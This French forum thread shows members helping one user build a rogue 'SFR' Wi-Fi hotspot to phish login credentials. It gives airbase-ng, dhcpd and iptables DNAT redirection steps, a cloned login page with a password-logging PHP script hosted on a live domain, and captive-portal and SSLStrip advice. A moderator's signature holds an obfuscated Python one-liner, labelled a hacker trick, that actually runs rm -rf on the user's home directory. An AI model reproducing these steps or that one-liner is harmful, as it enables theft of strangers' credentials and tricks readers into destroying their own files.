Crack-wifi.com FORUM

LE FORUM DU SITE

Wifi, Backtrack, crack WEP et WPA...

Vous n'êtes pas identifié(e).  

Annonce

Visitez la boutique Wifi-highpower.com, votre revendeur agr Alfa Network: du matriel Wifi slectionn, cartes Wifi USB Awus036h et Awus036nh, antennes omnis, yagis, panel, amplis wifi, accessoires...

#1 02-03-2013 04:24:09

Sulpice92
Membre Hyperactif
Inscription : 07-01-2013
Messages : 49

Fake Hot Spot SFR

Bonjour tout le monde,

Je travaille actuellement sur la création d'un faux Hot spot SFR.

Pour le moment, j'ai créé la "fausse page" qui ressemble très fortement à l'originale (quelques problèmes minimes au niveau du CSS mais je devrais corriger ca rapidement)
J'ai également créé un petit script Php qui récupère le mail et le mdp et qui les écrit tous les deux dans un fichier .txt
J'ai hébergé le tout sur un serveur, vous pouvez aller voir mon travail ici : cool

www.lolilol.tk (Dsl pour le nom de domaine, j'étais vrmt pas très inspiré) sad

Ca c'était la partie pas trop compliquée pour moi..

Maintenant j'aimerais créé un AP sous BT5 sur lequel je pourrai me connecter avec mon 2nd pc et lorsque j'ouvrirai mon navigateur, une redirection se ferait vers ma "fausse page". Comme si c'était un vrai hotspot..

Vous suivez ? tongue

Bon, j'ai a peu près réussi a créer l'AP, en installant un serveur Dhcp3 sous bt et en le configurant, avec mon 2nd PC j'ai pu m'y connecter (je vois l'association dans le shell).
Le problème c'est que sur le PC connecté, quand je lance Chrome, j'ai un problème de DNS et ma connexion est indiquée comme "limitée".

Des idées ?


Je précise que je fais tout cela dans un but purement éducatif, j'ai déjà une connexion internet... wink
Pour ceux qui sont intéréssés par ma "fausse page", je la partagerai volontier !

Hors Ligne

Annonce

Visitez la boutique Wifi-highpower.com, votre revendeur agr Alfa Network: du matriel Wifi slectionn, cartes Wifi USB Awus036h et Awus036nh, antennes omnis, yagis, panel, amplis wifi, accessoires...

#2 02-03-2013 09:26:22

spawn
Modérateur
Inscription : 14-01-2011
Messages : 1 006

Re : Fake Hot Spot SFR

La "connectivité limitée" sous windows je crois que c'est quand il n'y a pas de passerelle par défaut.


@9b0ae3c4 méric.fr
be a pro hacker : python -c "exec ''.join([chr(ord(i)^0x46) for i in '/+6)42f)5}f)5h5?52#+nd4+fk4 f8ido'])"

Hors Ligne

#3 02-03-2013 12:39:47

antares145
Membre d'honneur
Inscription : 29-09-2009
Messages : 5 199
Site Web

Re : Fake Hot Spot SFR

spawn a écrit :

La "connectivité limitée" sous windows je crois que c'est quand il n'y a pas de passerelle par défaut.

C'est plus généralement quand la machine n'a pas réussi à recevoir une adresse IP valide, donc le problème concerne plutôt le serveur DHCP. Mais un problème de passerelle peut avoir les mêmes effets, certes.

Sulpice92, regarde sur la machine-victime si tout est OK à ce niveau-là. Il doit avoir :
- une adresse IP qui correspond à ce que tu as spécifié pour dhcp3
- un masque de sous-réseau (typiquement 255.255.255.0)
- une adresse de passerelle (qui correspond à ta machçine d'attaque)
- un serveur DNS (qui peut être extérieur, genre 8.8.8.8)

Si un de ces éléments manque, c'est que ta configuration de dhcp3 est foireuse. Ca pourrait d'ailleurs nous aider que tu postes ton fichier dhcpd.conf wink

Regarde aussi si les "ping" fonctionnent depuis la machine-victime :
- vers la machine d'attaque
- vers une IP sur le net (par exemple 8.8.8.8)
- vers un nom de domaine externe (par exemple google.fr)

Hors Ligne

#4 03-03-2013 03:58:38

Sulpice92
Membre Hyperactif
Inscription : 07-01-2013
Messages : 49

Re : Fake Hot Spot SFR

Le screenshot de ce que j'ai sur la machine victime :
Screen1.png

Et ce que j'ai sur mon autre pc :
Screenshot.jpeg

J'ai pingé vers la machine d'attaque (inet adrr ?), vers 8.8.8.8 et vers un nom de domaine et a chaque fois j'ai pas de retour..

Mais apparemment j'ai pas de problème de passerelle puisque je retrouve celle que j'avais mis dans le fichier de config, même chose pour l'ip.. neutral

Hors Ligne

#5 03-03-2013 14:29:05

antares145
Membre d'honneur
Inscription : 29-09-2009
Messages : 5 199
Site Web

Re : Fake Hot Spot SFR

Deux remarques en voyant tes captures :
- tu as une bonne raison de limiter ton réseau à un /25 (netmask 255.255.255.128) ? En théorie ça ne pose pas de problème, mais c'est plus facile de travailler avec un /24 classique...
- Tout a l'air bon du côté de la partie sans fil (airbase-ng) et DHCP, mais est-ce que tu as bien assigné l'adresse fixe 192.168.2.129 à ton interface at0 ? Avec le bon netmask ?

ifconfig at0 down
ifconfig at0 192.168.2.129 netmask 255.255.255.128
ifconfig at0 up

Si c'est le cas, tu devrais au moins pouvoir ping'er l'adresse 192.168.2.129 depuis ta victime, tant que ça ne fonctionne pas ça ne sert à rien de chercher plus loin...

Ensuite, une fois que ce ping local fonctionne, regarde sur ta machine d'attaque (commande "route") si tu as bien une gateway/route sortante (vers le net) pour ton sous-réseau 192.168.2.128. Dans le doute :

route add default gw <adresse IP de ta box>

Le but est de faire en sorte que le trafic qui arrive sur ton interface at0 soit redirigé sur ta connexion "normale". Une fois que c'est fait, tu devrais pouvoir ping'er une IP externe, à condition d'avoir activé la redirection ipv4 :

echo 1 > /proc/sys/net/ipv4/ip_forward

Comme je vois l'affaire, je dirais que ton problème actuel se trouve au niveau d'at0 qui n'a pas la bonne IP smile

PS : pense à flouter les infos perso dans tes captures, surtout quand tu as des onglets avec ton adresse mail wink

Hors Ligne

#6 10-03-2013 19:17:39

Sulpice92
Membre Hyperactif
Inscription : 07-01-2013
Messages : 49

Re : Fake Hot Spot SFR

Excuse moi pour le retard, j'étais en vacance et j'avais pas mon pc avec Bt..

antares145 a écrit :

Deux remarques en voyant tes captures :
- tu as une bonne raison de limiter ton réseau à un /25 (netmask 255.255.255.128) ? En théorie ça ne pose pas de problème, mais c'est plus facile de travailler avec un /24 classique...
- Tout a l'air bon du côté de la partie sans fil (airbase-ng) et DHCP, mais est-ce que tu as bien assigné l'adresse fixe 192.168.2.129 à ton interface at0 ? Avec le bon netmask ?]

En fait, j'ai pris la configuration d'un tuto parce que je ne comprends vraiment pas comment on choisit l'adresse du "sous-réseau".

Mais du coup, j'en ai trouvé une autre qui est en /24.

ddns-update-style ad-hoc;
default-lease-time 600;
max-lease-time 7200;
authoritative;
subnet 10.0.0.0 netmask 255.255.255.0 {
option subnet-mask 255.255.255.0;
option broadcast-address 10.0.0.255;
option routers 10.0.0.254;
option domain-name-servers 8.8.8.8;
range 10.0.0.1 10.0.0.140;
}

Comme tu me l'avais dit, je n'avais en fait pas assigné l'adresse du sous réseau à mon interface.
Pour le reste, la passerelle existait déjà donc je n'y ai pas touché.

Et j'ai enfin activé la redirection, maintenant ca marche nikel, je peux me connecter sur mon AP sans être en connexion limitée.

Par contre, a quoi correspond le DNS 8.8.8.8 ? Je suppose que j'aurais pu utiliser le DNS de mon FAI ? Et si tu pouvais m'expliquer à partir de quoi choisit-on le "subnet" ?

Merci smile

Hors Ligne

#7 10-03-2013 19:55:02

kcdtv
Membre d'honneur
Lieu : Internacionaluña
Inscription : 31-03-2010
Messages : 4 246

Re : Fake Hot Spot SFR

Par contre, a quoi correspond le DNS 8.8.8.8 ?

C'est un des DNS de saint google, facile à retenir et à saisir tongue ... et sans restrictions comme ça peut arriver avec les DNS des FAI des fois...

Et si tu pouvais m'expliquer à partir de quoi choisit-on le "subnet" ?

Comme tu demandes une réponse à antares, je lui laisse le soin de te répondre.... tongue

Hors Ligne

#8 10-03-2013 23:07:24

antares145
Membre d'honneur
Inscription : 29-09-2009
Messages : 5 199
Site Web

Re : Fake Hot Spot SFR

kcdtv a écrit :

Par contre, a quoi correspond le DNS 8.8.8.8 ?

C'est un des DNS de saint google, facile à retenir et à saisir :p ... et sans restrictions comme ça peut arriver avec les DNS des FAI des fois...

Voilà, tout est dit big_smile Dans le même genre tu as aussi 8.8.4.4. Pour l'instant ils sont "fiables et non-menteurs", mais venant de Google on sait pas combien de temps ça durera.
Tu peux bien sûr spécifier le DNS de ton FAI, ceux d'OpenDNS, ou même ta propre machine d'attaque mais alors il faut que tu déploies un relais toi-même. C'est pas spécialement compliqué (et ça permet des attaques de détournement intéressantes) mais pour faire simple, laissons faire les spécialistes tongue

kcdtv a écrit :

Et si tu pouvais m'expliquer à partir de quoi choisit-on le "subnet" ?

Comme tu demandes une réponse à antares, je lui laisse le soin de te répondre.... :p

Avoue plutôt que t'as la flemme d'expliquer, feignasse :p

Le subnet, c'est le "sous-réseau", un ensemble de machines isolées des autres qui communique aec le reste via une passerelle. La plage IP 192.168.*.* est dite "privée", c-à-d réservée aux LAN. Il y en a d'autres, mais c'est la plus courante. L'IP est donc constituée de 4 octets (X.X.X.X) ou 32 bits, et dans le cas qui nous occupe, on a le droit de modifier les deux derniers octets (les deux derniers chiffres, si tu veux). Généralement, on fixe le premier et on garde le dernier pour les machines : un LAN typique va de 192.168.1.1 jusqu'à 192.168.1.255 (le 1 est fixé). Mais tu peux très bien choisir de faire un grand LAN qui va de 192.168.0.0 à 192.168.255.255. Ou bien deux réseaux différents : 192.168.1.0-255 et 192.168.2.0-255 par exemple.

Le sous-réseau sert à ça : indiquer quelle partie de l'adresse IP désigne le réseau, et quelle parti désigne les machines. Dans le cas de 192.168.1.* et 192.168.2.*, les 3 premiers octets désignent le réseau, le dernier octet désigne les machines. Dans le cas de 192.168.*.*, les 2 derniers octets désignent les machines.
Il y a 2 façons de décrire un sous-réseau : un masque ou une notation CIDR.
Le masque consiste à mettre à 1 les bits qui correspondent au réseau. Dans le cas de 192.168.1.*, les 3 premiers octets (un octet = 8 bits) correspondent au réseau donc on les mets à 1 :

Notation binaire : 
11111111.11111111.11111111.00000000
Notation décimale : 
255.255.255.0

C'est le cas le plus courant, seule le dernier "chiffre" de l'adresse IP varie de 0 à 255 : le masque de sous-réseau indique donc le nombre maximal de machines dans le même LAN (ici : 255, c'est largement suffisant pour nos LAN domestiques). 
Si tu veux mettre plus de machines, tu peux vouloir faire un réseau de type 192.168.*.*, ce qui donne :

11111111.11111111.00000000.00000000
ou encore : 
255.255.0.0

Ca, c'est pour les cas simples : on attribue tous les bits de l'octet, ou aucun. Si on veut finasser (et faire des LAN limités à 14 machines par exemple, on peut définir le masque de sous-réseau comme suit :

11111111.11111111.11111111.11110000
en décimal : 
255.255.255.240

4 bits accessibles pour les machines => 2^4 = 16 adresses possibles (moins 2 adresses réservées mais je n'entre pas dans les détails) = 14 machines. Ce genre de cas est assez peu utilisé, c'est pour ça que je me demandais pourquoi tu te compliquais la vie avec un 255.255.255.128 alors qu'un 255.255.255.0 tout bête te convient smile

L'autre notation, appelée CIDR, indique le nombre de bits réservés au réseau. C'est plus facile à comprendre avec la notation binaire :

11111111.11111111.11111111.00000000
24 bits égaux à 1 sur les 32 => /24
11111111.11111111.00000000.00000000
16 bits égaux à 1 sur les 32 => /16
11111111.11111111.11111111.10000000
25 bits égaux à 1 sur les 32 => /25

C'est plus facile pour calculer le nombre de machines maximales dans ton LAN : /24 => Il y a 2^(32-24) adresses dispo.

Bon, tout ça c'est du détail, à part les ingénieurs réseaux personne ne se prend vraiment la tête avec ça. Utilise toujours un /24 (255.255.255.0) comme tout le monde : ça te donnera une capacité de 253 machines et tu seras tranquille smile
Pour plus d'infos --> Sous-réseau - Wikipedia

A part ça, content que tu aies résolu ton problème smile Avec ce que je viens d'expliquer ici, tu devrais pouvoir comprendre un peu mieux ton dhcp.conf (et constater que tu n'utiliseras pas toutes les adresses à ta disposition, mais c'est pas grave) wink

@kcdtv : ça va, tu valides, j'ai rien oublié ? big_smile

Hors Ligne

#9 10-03-2013 23:20:47

kcdtv
Membre d'honneur
Lieu : Internacionaluña
Inscription : 31-03-2010
Messages : 4 246

Re : Fake Hot Spot SFR

Quelque peu succin à mon goût, tu aurais pu contextualiser historiquement, conclure en ouvrant sur ipv6 tout en abordant quelques concepts de base de la physique quantique et de la philosophie hégélienne.
Sinon je valide, ça va, c'est pas trop mal. tongue

Hors Ligne

#10 10-03-2013 23:43:02

antares145
Membre d'honneur
Inscription : 29-09-2009
Messages : 5 199
Site Web

Re : Fake Hot Spot SFR

Tu sais bien, chui un peu paresseux, je fais toujours au plus court et je suis pas du genre à détailler. Puis bon, l'IPv6 on la verra pas avant 10 ans donc rien ne presse #Troll

[Toi, à la première occasion, j'te raterai pas fais moi confiance tongue]

Dernière modification par antares145 (10-03-2013 23:43:31)

Hors Ligne

#11 10-03-2013 23:57:49

kcdtv
Membre d'honneur
Lieu : Internacionaluña
Inscription : 31-03-2010
Messages : 4 246

Re : Fake Hot Spot SFR

[Toi, à la première occasion, j'te raterai pas fais moi confiance ]

Mamannnnnnnnnnnnnnnnnn !!!!!!!   shock.gif

Hors Ligne

#12 11-03-2013 01:32:17

Sulpice92
Membre Hyperactif
Inscription : 07-01-2013
Messages : 49

Re : Fake Hot Spot SFR

kcdtv a écrit :

[...] quelques concepts de base de la physique quantique [...]

Par pitié, non !! neutral


Enfin merci à vous deux pour ces explications, je n'attendais pas quelque chose d'aussi complet tongue
J'avoue pourtant honteusement avoir passé (et réussi) le CCNA 1 ... Donc toutes ces notions ne devraient être que plaisanteries pour moi, malheureusement ce n'est pas le cas.
Ca n'empêche que je trouve cela très intéressant.

Encore deux petites questions :
L'AP étant "open", je voudrais que seule ma machine victime puisse s'y connecter, j'avais pensé à réduire la plage comme ceci

range 10.0.0.1 10.0.0.1;

Bon le problème c'est que si mon voisin s'y connecte avant moi, je l'ai dans l'os..

Et ensuite, pour arrêter le serveur, je stop airbase-ng par un CTRL+C, du coup plus d'interface at0, donc plus d'AP. Il y'aurait pas un moyen plus propre ?


Au passage, mon site www.lolilol.tk est détecté comme site de phishing par Chrome, je me demande bien comment ils peuvent détecter ça. neutral

Dernière modification par Sulpice92 (11-03-2013 01:34:16)

Hors Ligne

#13 11-03-2013 12:49:25

antares145
Membre d'honneur
Inscription : 29-09-2009
Messages : 5 199
Site Web

Re : Fake Hot Spot SFR

Sulpice92 a écrit :

J'avoue pourtant honteusement avoir passé (et réussi) le CCNA 1 ... Donc toutes ces notions ne devraient être que plaisanteries pour moi, malheureusement ce n'est pas le cas.

T'as pas honte ? big_smile Fais gaffe qu'ils ne viennent pas te le retirer après ça...

Sulpice92 a écrit :

L'AP étant "open", je voudrais que seule ma machine victime puisse s'y connecter

Filtrage MAC, non ? Bon, c'est pas difficile à contourner, j'admets, mais je ne sais pas à quel point ton voisin s'y connaît ou pas smile Limiter la plage DHCP à une seule adresse c'est un peu sale comme solution( et potentiellement problématique, comme tu l'as fait remarquer) ; par contre, tu peux aussi désactiver le DHCP et attribuer une IP fixe à ta victime. Autre possibilité : tu limites la plage DHCP à une seule adresse, et tu configures une "réservation" pour que seule la MAC de ta victime puisse recevoir cette IP. Je ne sais pas comment ça se configure avec dhcp3, note hmm

Sulpice92 a écrit :

Et ensuite, pour arrêter le serveur, je stop airbase-ng par un CTRL+C, du coup plus d'interface at0, donc plus d'AP. Il y'aurait pas un moyen plus propre ?

Qu'est-ce que tu veux dire par "plus propre" ? C'est quel "serveur" que tu veux arrêter, exactement ? Tu peux faire un "ifconfig at0 down" et ça cassera la connectivité, mais le réseau WiFi sera toujours visible et le DHCP toujours actif neutral Moi y en a pas comprendre...

Solpice92 a écrit :

Au passage, mon site www.lolilol.tk est détecté comme site de phishing par Chrome, je me demande bien comment ils peuvent détecter ça.

Sans doute que lors de son crawl, le bot Google a remarqué une "similitude forte" entre le code-source de ton site et celui d'un site jugé plus "officiel". Ou alors ce sont des appels externes vers un autre domaine jugés douteux. Ou bien dans ta façon de récupérer le mot de passe. Je connais pas leurs critères pour ça, si ça se trouve c'est bêtement un visiteur qui passait là par hasard et a signalé le site comme phishing, croyant bien faire smile

Hors Ligne

#14 12-03-2013 19:53:26

Sulpice92
Membre Hyperactif
Inscription : 07-01-2013
Messages : 49

Re : Fake Hot Spot SFR

antares145 a écrit :

T'as pas honte ?  Fais gaffe qu'ils ne viennent pas te le retirer après ça...

Aucune chance de me retrouver, je poste depuis un abri anti-atomique en Corée du Nord cool

antares145 a écrit :

Autre possibilité : tu limites la plage DHCP à une seule adresse, et tu configures une "réservation" pour que seule la MAC de ta victime puisse recevoir cette IP. Je ne sais pas comment ça se configure avec dhcp3, note

Effectivement ca à l'air possible, j'ai trouvé des explications ici (5.) :
http://doc.ubuntu-fr.org/dhcp3-server

Je vais voir ca ! big_smile

antares145 a écrit :

Qu'est-ce que tu veux dire par "plus propre" ? C'est quel "serveur" que tu veux arrêter, exactement ? Tu peux faire un "ifconfig at0 down" et ça cassera la connectivité, mais le réseau WiFi sera toujours visible et le DHCP toujours actif  Moi y en a pas comprendre...

Justement, je voulais dire "pour couper le réseau wifi", en gros pour que l'AP ne soit plus détecter.
Il suffit simplement d'arrêter airbase ?


Je vais désormais essayer de rediriger la victime sur ma page dès lors qu'elle essaie de naviguer sur internet.
C'est du faisable ? neutral

Hors Ligne

#15 14-03-2013 11:00:00

antares145
Membre d'honneur
Inscription : 29-09-2009
Messages : 5 199
Site Web

Re : Fake Hot Spot SFR

Sulpice92 a écrit :

Justement, je voulais dire "pour couper le réseau wifi", en gros pour que l'AP ne soit plus détecter.
Il suffit simplement d'arrêter airbase ?

Toute la partie "WiFi" est gérée par airbase-ng, si tu l'interromps le réseau disparaît. Tu pourrais tenter de jouer avec rfkill pour bloquer l'émission du signal, mais je pense qu'airbase-ng n'appréciera pas du tout, ce qui reviendra au premier cas (interruption brutale d'airbase-ng). Mais tu peux toujours essayer smile

Sulpice92 a écrit :

Je vais désormais essayer de rediriger la victime sur ma page dès lors qu'elle essaie de naviguer sur internet.
C'est du faisable ? neutral

Tout est faisable, mais c'est pas forcément facile ni direct wink La redirection en elle-même n'est pas difficile, il suffit d'appliquer les bonnes règles iptables. D'abord, vérifier qu'une redirection transparente fonctionne :

# Activer le transfert de paquet
echo 1 > /proc/sys/net/ipv4/ip_forward
# Effacer toutes les règles de la table "nat"
iptables -t nat -F
# Indiquer l'interface de transfert vers le net (remplace wlan0 par l'interface qui est connectée en amont)
iptables -t nat -A POSTROUTING -o wlan0 -j MASQUERADE

Après ça, une machine qui se connecte à ton réseau piégé devrait pouvoir accéder à Internet normalement. Tant que ça ne fonctionne pas, inutile d'aller plus loin.
Ensuite, on active effectivement la redirection :

# Rediriger tout le trafic du port 80 (web) vers ta machine (adapte l'IP et éventuellement le port)
iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to 10.0.0.254:80

Voilà, dès qu'un client se connecte à ton réseau et essaie d'accéder à un site, il est renvoyé vers ton propre serveur web, tu n'as plus qu'à lui servir ta fausse page.
Attention, seul le trafic sur le port 80 est affecté ! Donc :
- s'il essaie d'accéder à un site en HTTPS ça passera (puisque c'est sur le port 443)
- s'il essaie de se connecter à un autre service sur le net (e-mail, Skype,...) ça passera aussi
- une fois qu'il a été redirigé sur ta page et qu'il y a tapé son mot de passe, il n'aura pas accès au net (puisque iptables continuera à le renvoyer sur ton propre serveur).
C'est sans doute pas ce résultat que tu veux atteindre smile

Pour imiter au mieux le comportement d'un Hotspot, il faut mettre en place un "portail captif", qui bloque tout le trafic et renvoie vers une page particulière jusqu'à ce qu'une condition soit remplie (conditions acceptées, mot de pass entré,...), après quoi le client a accès au net "librement" (ou pas).
Il y a plusieurs solutions de portails captif (captive portal, en anglais) plus ou moins sophistiquées, pour un truc simple je te suggère de te pencher sur Wifidog. Il a déjà pas mal d'options, mais dans ton cas tu n'as sans doute pas besoin d'un serveur d'authentification (ni d'authentification tout court d'ailleurs). Mon conseil : tu prends une config de base avec juste une page de texte avec un bouton "j'accepte les conditions d'utilisation" (cliquer sur le bouton d"bloque l'accès au net). Et tu remplaces cette page par la tienne, où le bouton "j'accepte" est remplacé par un bouton "login" : quand la victime clique sur "Login" toi tu reçois son mot de passe, et lui a accès au net, tout le monde est content smile

S'il te faut plus de d&tails sur cette partie, je te suggère de créer un topic dédié, celui-ci commence à être touffu wink

Hors Ligne

#16 16-03-2013 00:20:13

Sulpice92
Membre Hyperactif
Inscription : 07-01-2013
Messages : 49

Re : Fake Hot Spot SFR

antares145 a écrit :

Toute la partie "WiFi" est gérée par airbase-ng, si tu l'interromps le réseau disparaît. Tu pourrais tenter de jouer avec rfkill pour bloquer l'émission du signal, mais je pense qu'airbase-ng n'appréciera pas du tout, ce qui reviendra au premier cas (interruption brutale d'airbase-ng). Mais tu peux toujours essayer

Du coup un petit pkill airbase-ng s'avère être assez efficace, alors restons dans cet esprit de simplicité big_smile

antares145 a écrit :

Ensuite, on active effectivement la redirection :
# Rediriger tout le trafic du port 80 (web) vers ta machine (adapte l'IP et éventuellement le port)
iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to 10.0.0.254:80

Bon j'ai (presque) réussi ce que je voulais faire, la redirection marche bien mais Chrome me sort une erreur au moment ou j'essaie d'accéder à une page à partir de ma machine victime

Cette page Web présente une boucle de redirection

Dommage...
Mais du coup j'ai procédé de même pour rediriger la victime vers "facebook.fr" et la ca marche nickel. No comprendo neutral

Je te mets ma table de routage au cas où, mais je pense plutot à un problème au niveau de mon site/serveur.
1363388991-snapshot1.png

antares145 a écrit :

Attention, seul le trafic sur le port 80 est affecté ! Donc :
- s'il essaie d'accéder à un site en HTTPS ça passera (puisque c'est sur le port 443)

Oui mais on pourrait par exemple créer une nouvelle règle pour le port 443, non ?

antares145 a écrit :

Pour imiter au mieux le comportement d'un Hotspot, il faut mettre en place un "portail captif", qui bloque tout le trafic et renvoie vers une page particulière jusqu'à ce qu'une condition soit remplie (conditions acceptées, mot de pass entré,...), après quoi le client a accès au net "librement" (ou pas).

Ce que tu proposes à l'air très intéressant, je vais me pencher sur l'outil Wifidog donc. C'est un outil utilisé par les professionnels ?

Petit aparté, j'ai fait mon premier script d'automatisation en bash (pour mettre l'AP en place), ca progresse ca progresse... smile

Hors Ligne

#17 16-03-2013 10:38:05

Furyo
Membre Irremplaçable
Inscription : 25-11-2010
Messages : 1 393
Site Web

Re : Fake Hot Spot SFR

Bravo, il y a de la persistence et de l'envie derriere ton projet wink


Je prendrai le temps de répondre aux gens qui auront pris le temps de se présenter..
Les membres suspectés d'intentions douteuses ne trouveront que mon silence en réponse.
Morpheus à Néo : On n'est pas le meilleur quand on le croit, mais quand on le sait..
387003.jpg

Hors Ligne

#18 16-03-2013 12:35:52

antares145
Membre d'honneur
Inscription : 29-09-2009
Messages : 5 199
Site Web

Re : Fake Hot Spot SFR

Sulpice92 a écrit :

Je te mets ma table de routage au cas où, mais je pense plutot à un problème au niveau de mon site/serveur.

Je suis quasiment sûr que le problème vient de ta fausse page, mais comme je n'ai pas tes détails d'implémentation je ne peux pas te dire où (je dirais le script PHP de récupération) smile Peut-être aussi que ça vient de ton hébergement, mais je doute...
Par contre, en voyant la liste de tes règles iptables, je vois que tu as tout redirigé vers l'IP de ton hébergement aux USA, dans ton cas il vaut mieux rester en local. Ça sera beaucoup plus simple et, après tout, comme la victime se connecte à ta machine tu ES en local, ne te complique pas la vie en mélangeant LAN/WAN wink

Démarre le serveur web Apache de BackTrack (/etc/init.d/apache2 start) puis place tous tes fichiers web dans le dossier /var/www/ (appelle ton fichier principal "index.html" ou édite la config d'Apache). Après ça, quand tu tapes l'IP de ta machine d'attaque dans le navigateur de la victime, ta page devrait s'afficher.
Une fois que c'est bon, fais ta redirection iptables vers ta machine d'attaque (son IP locale, donc), et regarde si la victime
1- peut y accéder
2- Y est redirigée quel que soit le site qu'elle demande (en HTTP)

Sulpice92 a écrit :
antares145 a écrit :

Attention, seul le trafic sur le port 80 est affecté ! Donc :
- s'il essaie d'accéder à un site en HTTPS ça passera (puisque c'est sur le port 443)

Oui mais on pourrait par exemple créer une nouvelle règle pour le port 443, non ?

Hmmmm, oui et non. La redirection en soi est simple à faire (remplace le port 80 par le 443), mais le problème c'est que le HTTPS est très différent du HTTP à cause du chiffrement. Et le navigateur de la victime, il va être perturbé si on lui répond en HTTP alors qu'il attendait du HTTPS. Tu peux évidemment configurer Apache pour créer une version "https" de ton faux site, mais alors tu dois commencer à fournir un certificat et ce dernier a toutes les chances de faire hurler le navigateur en face parce qu'il n'est pas validé par des autorités reconnues. Et je ne parle même pas du HSTS... Sérieusement, concentre-toi sur le HTTP pour l'instant, éventuellement on essayer d'intégrer SSLStrip à ton projet après mais dans un premier temps on va faire simple big_smile

Sulpice92 a écrit :

Ce que tu proposes à l'air très intéressant, je vais me pencher sur l'outil Wifidog donc. C'est un outil utilisé par les professionnels ?

Ça dépend de ce que tu appelles "un professionnel" tongue Mais sinon oui, il est utilisé en production sur certains projets comme France Wireless et d'autres sans doute).

Sulpice92 a écrit :

Petit aparté, j'ai fait mon premier script d'automatisation en bash (pour mettre l'AP en place), ca progresse ca progresse... smile

Dans ce cas ça peut être sympa de le partager ici, pour aider le suivant ou avoir des conseils d'amélioration. C'est ça aussi l'esprit communautaire wink

Hors Ligne

#19 16-03-2013 19:32:59

Sulpice92
Membre Hyperactif
Inscription : 07-01-2013
Messages : 49

Re : Fake Hot Spot SFR

furyo a écrit :

Bravo, il y a de la persistence et de l'envie derriere ton projet

Merci, j'essaie de prendre de l'avance sur mes cours.. Et puis il faut dire que c'est vraiment quelque chose qui me plait..


antares145 a écrit :

Par contre, en voyant la liste de tes règles iptables, je vois que tu as tout redirigé vers l'IP de ton hébergement aux USA, dans ton cas il vaut mieux rester en local. Ça sera beaucoup plus simple et, après tout, comme la victime se connecte à ta machine tu ES en local, ne te complique pas la vie en mélangeant LAN/WAN

Waouh ! C'est hyper logique ca en plus, et pourtant je doute que j'y aurais pensé.
Du coup c'est ce que j'ai fait, et ca marche vraiment nickel. Voila ce que j'obtiens sur la machine victime :
1363457548-sans-titre1.jpg
Et puis ce qui est intéressant c'est que Chrome ne détecte même plus ma page comme page de phishing, je suppose qu'il a été berné par l'URL, qui est restée celle de google.fr tongue

antares145 a écrit :

Hmmmm, oui et non. La redirection en soi est simple à faire (remplace le port 80 par le 443), mais le problème c'est que le HTTPS est très différent du HTTP à cause du chiffrement. Et le navigateur de la victime, il va être perturbé si on lui répond en HTTP alors qu'il attendait du HTTPS.

Exact, j'ai essayé, en remplacant le port 80 par 443 donc mais j'ai une erreur

Erreur de protocole SSL

De toute façon l'objectif de ce projet était simplement de, une fois connecté sur mon AP, rediriger la victime sur une page frauduleuse, donc je suis plutot satisfait smile
Et puis, j'en connais peu qui tapent dans la barre URL https://www.google.fr .. big_smile

antares145 a écrit :

Sérieusement, concentre-toi sur le HTTP pour l'instant, éventuellement on essayer d'intégrer SSLStrip à ton projet après mais dans un premier temps on va faire simple

J'avais déja entendu parler de cet outil pour les attaques MITM, mais il me semble également avoir vu qu'il commencait a etre dépassé.. Mais j'y reviendrai certainement smile

Voila, j'ai fait ce que je voulais faire, j'ai appris beaucoup de choses, surtout sur l'utilisation de la commande "iptables" je suppose que le sujet est désormais clos, même si il reste un tas de possibilités. Je vais me diriger vers ce fameux portail captif maintenant. (et partager mon fameux first script) smile

Hors Ligne

#20 18-03-2013 10:54:18

antares145
Membre d'honneur
Inscription : 29-09-2009
Messages : 5 199
Site Web

Re : Fake Hot Spot SFR

Sulpice92 a écrit :

De toute façon l'objectif de ce projet était simplement de, une fois connecté sur mon AP, rediriger la victime sur une page frauduleuse, donc je suis plutot satisfait smile
Et puis, j'en connais peu qui tapent dans la barre URL https://www.google.fr .. big_smile

Malheureusement ce n'est pas aussi simple, les navigateurs modernes font en sorte que certains domaines "sensibles" soient directement connectés via HTTPS, quelle que soit l'adresse tapée par l'utilisateur smile Entre les certificats vérifiés et le HSTS (j'y reviendrai prochainement s'il y a des intéressés), le HTTPS est un ennemi coriace !

Sulpice92 a écrit :

J'avais déja entendu parler de cet outil pour les attaques MITM, mais il me semble également avoir vu qu'il commencait a etre dépassé.. Mais j'y reviendrai certainement smile

Il commence à être dépassé uniquement avec ces "navigateurs modernes et sérieux" (pour les raisons que je viens d'évoquer), avec Internet Explorer ça fonctionne toujours très bien tongue

Hors Ligne

#21 19-03-2013 13:33:38

koala
Membre d'honneur
Lieu : In the sky
Inscription : 03-09-2010
Messages : 2 314

Re : Fake Hot Spot SFR

Il commence à être dépassé uniquement avec ces "navigateurs modernes et sérieux" (pour les raisons que je viens d'évoquer), avec Internet Explorer ça fonctionne toujours très bien


Perso  j'ai pas tester Ssltrip depuis un bye, il en ai a la version 0.9 c bien sa?

Je testerai un de ces jour après une rogue AP local de remettre le pc sur internet et de le faire passer par des site genre yahou msn etc... smile

Hors Ligne

Annonce

Visitez la boutique Wifi-highpower.com, votre revendeur agr Alfa Network: du matriel Wifi slectionn, cartes Wifi USB Awus036h et Awus036nh, antennes omnis, yagis, panel, amplis wifi, accessoires...

Sujets similaires

Discussion Réponses Vues Dernier message
3 401 19-09-2016 14:31:15 par kcdtv
8 3888 15-06-2016 04:48:18 par Teeknofil
AIDE : AWUS036H Fake? par Jilhali
16 1210 09-06-2015 20:32:48 par M1ck3y
4 3146 20-06-2014 16:28:41 par M1ck3y
8 1740 16-03-2014 00:38:47 par kcdtv

Pied de page des forums


Le coin des bonnes affaires, achats informatiques:


|   Alfa 1000 mW AWUS036H   |    Linksys WRT54GL   |    Misco, informatique   |   
 |    Ebay   |    PC portables   |    PC Gamers & Tuning   |    Cles USB   |   
|   Disques durs externes 2 To   |   
|   Wifi-highpower.com   |   


Server Stats - [ Generated in 0.036 seconds ]   Forum Stat - [ Most users ever online on the forum was : 150 on 20-09-2009 17:06:59 ]